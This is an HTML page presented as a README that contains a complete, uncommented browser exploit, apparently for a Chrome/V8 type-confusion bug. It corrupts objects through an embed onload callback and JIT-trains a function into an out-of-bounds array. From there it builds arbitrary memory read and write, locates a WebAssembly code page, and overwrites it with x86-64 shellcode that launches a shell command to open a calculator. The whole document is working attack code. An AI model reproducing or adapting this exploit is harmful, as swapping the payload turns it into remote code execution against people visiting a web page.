README.md
Rendering markdown...
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
function gc(){
for(var i = 0;i < ((1024*1024));i++){
var a = new String();
}
}
function wasm_func() {
var wasmImports = {
env: {
puts: function puts (index) {
print(utf8ToString(h, index));
}
}
};
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
return m.exports.hello;
}
var wasm_function = wasm_func();
//%DebugPrint(wasm_function);
var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var dv = new DataView(buf);
function f2i(val)
{
dv.setFloat64(0,val,true);
return dv.getBigUint64(0,true);
}
function i2f(val)
{
dv.setBigUint64(0,BigInt(val),true);
return dv.getFloat64(0,true);
}
function f2half(f)
{
f64[0] = f;
let tmp = Array.from(u32);
return tmp;
}
function half2f(val)
{
u32.set(val);
return f64[0];
}
function p64f(high,low){
let num = (high * 0x100000000n) + low;
return i2f(num);
}
function ByteToBigIntArray(payload)
{
let sc = []
let tmp = 0n;
let lenInt = BigInt(Math.floor(payload.length/8))
for (let i = 0n; i < lenInt; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
}
sc.push(tmp);
}
let len = payload.length%8;
tmp = 0n;
for(let i=0n; i<len; i++){
tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
}
sc.push(tmp);
return sc;
}
function hex(i){
return i.toString(16).padStart(16,"0");
}
global_object = {};
setPropertyViaEmbed = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;
embed.type = 'text/html';
Object.setPrototypeOf(global_object, embed);
document.body.appendChild(embed);
object.corrupted_prop = value;
embed.remove();
}
createCorruptedPair = (value_1, value_2) => {
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1;
setPropertyViaEmbed(object_1, value_2, () => {
console.log("[+]call setPropertyViaEmbed inside!");
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = value_1;
});
const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1;
setPropertyViaEmbed(object_2, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1;
object_1.regular_prop = 1.1;
});
return [object_1, object_2];
}
gc();
const array = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
array.prop = 1;
//var obj = {x:"1",y:"2"};
gc();
var tmp = {};
var temp = {};
gc();
var obj = [temp,tmp,temp,tmp,temp,tmp,temp,tmp,temp,tmp,temp];
gc();
var oob_arr = [13.37];
gc();
var big_arr = new BigUint64Array(2);
gc();
var obj_arr = {obj:tmp};
gc();
big_arr[0] = 0x1337n;
big_arr[1] = 0x1717n;
//var obj = [13.37,23.23]
// var obj_arr = [obj];
console.log("[*]arr & obj_arr");
const [object_1, object_2] = createCorruptedPair(array, obj);
jit1 = (object) => {
var res = object.corrupted_prop[0];
return res;
}
jit = (object1, object2, val) => {
var res = object1.corrupted_prop[7];
object2.corrupted_prop[7] = val;
return object2.corrupted_prop[7];
}
for (var i = 0; i < 100000; ++i){
jit(object_1,object_1,1.1);
}
console.log(object_2.corrupted_prop);
console.log(object_2.corrupted_prop[0]);
gc();
var res = jit(object_1,object_2,i2f(0x1234));
//hajack the big_arr
var length_idx = 5;
var external_idx = 6;
var base_idx = 7;
//leak the base and the external pointer
var length = f2i(oob_arr[length_idx]);
console.log("[+]The length of bigUint64Arr is : " + hex(length));
var external_pointer = f2i(oob_arr[external_idx]);
console.log("[+]The external pointer is : " + hex(external_pointer));
var base_pointer = f2i(oob_arr[base_idx]);
console.log("[+]The base pointer is : " + hex(base_pointer));
var base_high = (base_pointer & 0xffffffff00000000n) / 0x100000000n;
console.log("[+]The base pointer high is : " + hex(base_high));
//
function heap_read(addr)
{
//set base pointer
//console.log("[+]addr : " + hex(addr));
oob_arr[base_idx] = p64f(base_high,addr-0x8n);
var res = big_arr[0];
return res;
}
function arb_read(addr)
{
oob_arr[base_idx] = p64f(base_high,0n);
oob_arr[external_idx] = i2f(addr);
var res = big_arr[0];
return res;
}
function arb_write(addr, payload)
{
var payload_u64 = ByteToBigIntArray(payload);
oob_arr[length_idx] = i2f(payload_u64.length);
oob_arr[base_idx] = p64f(base_high,0n);
oob_arr[external_idx] = i2f(addr);
for(let i = 0; i < payload_u64.length; i++){
big_arr[i] = payload_u64[i];
}
}
var obj_idx = 21;
obj_arr.obj = wasm_function;
//addressOf(wasm_function);
var wasm_function_addr = f2i(oob_arr[obj_idx]) & 0xffffffffn;
console.log("[+]obj addr : " + hex(wasm_function_addr));
//%DebugPrint(big_arr);
oob_arr[base_idx] = p64f(base_high,wasm_function_addr+0xcn-0x8n);
var shared_info_addr = big_arr[0] & 0xffffffffn ;
console.log("[+] shared info addr : 0x" + hex(shared_info_addr));
oob_arr[base_idx] = p64f(base_high,shared_info_addr+0x4n-0x8n);
var data_addr = big_arr[0] & 0xffffffffn ;
console.log("[+] data addr : 0x" + hex(data_addr));
oob_arr[base_idx] = p64f(base_high,data_addr+0x8n-0x8n);
var instance_addr = big_arr[0] & 0xffffffffn ;
console.log("[+] instance addr : 0x" + hex(instance_addr));
oob_arr[base_idx] = p64f(base_high,instance_addr+0x68n-0x8n);
var wasm_addr = big_arr[0] ;
console.log("[+] wasm addr : 0x" + hex(wasm_addr));
// leak target
oob_arr[base_idx] = p64f(base_high,0n);
oob_arr[external_idx] = i2f(wasm_addr+0x1n);
var offset = (big_arr[0]+0x5n) & 0xffffn;
console.log("[+]offset : " + hex(offset));
let shellcode = [0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
//alert("xmzyshypnc");
//let shellcode = [0xcc,0xcc,0xcc,0xcc];
var payload_u64 = ByteToBigIntArray(shellcode);
oob_arr[length_idx] = i2f(payload_u64.length);
oob_arr[base_idx] = p64f(base_high,0n);
oob_arr[external_idx] = i2f(wasm_addr);
for(let i = 0; i < payload_u64.length; i++){
big_arr[i] = payload_u64[i];
}
wasm_function();
</script>
</body>
</html>